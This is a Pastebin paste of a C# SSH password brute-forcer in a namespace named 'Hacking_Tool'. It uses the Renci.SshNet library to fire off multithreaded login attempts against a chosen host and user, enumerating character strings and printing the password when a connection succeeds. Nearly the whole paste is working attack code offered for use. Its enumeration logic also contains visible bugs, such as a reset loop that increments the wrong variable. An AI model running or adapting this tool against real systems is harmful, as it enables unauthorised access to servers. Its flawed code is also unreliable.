Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using Renci.SshNet;
- using System;
- using System.Threading;
- namespace Hacking_Tool
- {
- class BruteForce
- {
- private bool run = true;
- private int counter = 0;
- private string ip;
- private string user;
- public BruteForce(string ip, string user)
- {
- this.ip = ip;
- this.user = user;
- }
- public void Test(string pw)
- {
- try
- {
- using (var client = new SshClient(ip, user, pw))
- {
- client.Connect();
- client.Disconnect();
- }
- run = false;
- Console.WriteLine("Password: >" + pw + "<");
- }
- catch (Exception e)
- { }
- finally
- {
- counter--;
- }
- }
- public void Bruteforce()
- {
- char[] pw = { 'r', 'o', 'o', 'A' };
- int modify = pw.Length - 1;
- Thread.CurrentThread.Priority = ThreadPriority.Lowest;
- while (run)
- {
- var t = new string(pw);
- counter++;
- if (counter > 100)
- {
- Thread.Sleep(500);
- }
- Thread thread = new Thread(() => Test(t));
- thread.Priority = ThreadPriority.Highest;
- thread.Start();
- if (modify >= 0 && pw[modify] != 'z')
- {
- pw[modify]++;
- }
- else
- {
- if (modify == -1)
- {
- Array.Resize(ref pw, pw.Length + 1);
- for (int i = 0; i < pw.Length; i++)
- {
- pw[i] = 'A';
- }
- modify = pw.Length - 1;
- }
- else
- {
- if (pw[modify] == 'z')
- {
- while (modify >= 0 && pw[modify] == 'z')
- {
- pw[modify] = 'A';
- modify--;
- }
- if (modify != -1)
- {
- pw[modify]++;
- for (int i = modify + 1; modify < pw.Length; modify++)
- {
- pw[i] = 'A';
- }
- modify--;
- }
- }
- }
- }
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement